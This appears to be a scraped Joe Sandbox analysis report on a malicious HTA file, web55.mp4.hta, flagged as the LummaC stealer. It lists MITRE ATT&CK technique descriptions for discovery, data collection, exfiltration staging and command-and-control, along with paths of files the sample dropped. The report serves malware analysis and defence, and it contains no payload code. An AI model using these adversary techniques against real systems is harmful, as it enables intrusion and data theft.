Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report web55.mp4.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1eoqmpy0.oa1.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4d3eqhv2.agy.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4txoci3r.25c.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5yudwpi0.t0m.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jnltiwgc.jxn.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lf5f5tpu.een.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ojk1tuly.bxm.ps1

Windows Analysis Report
web55.mp4.hta

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre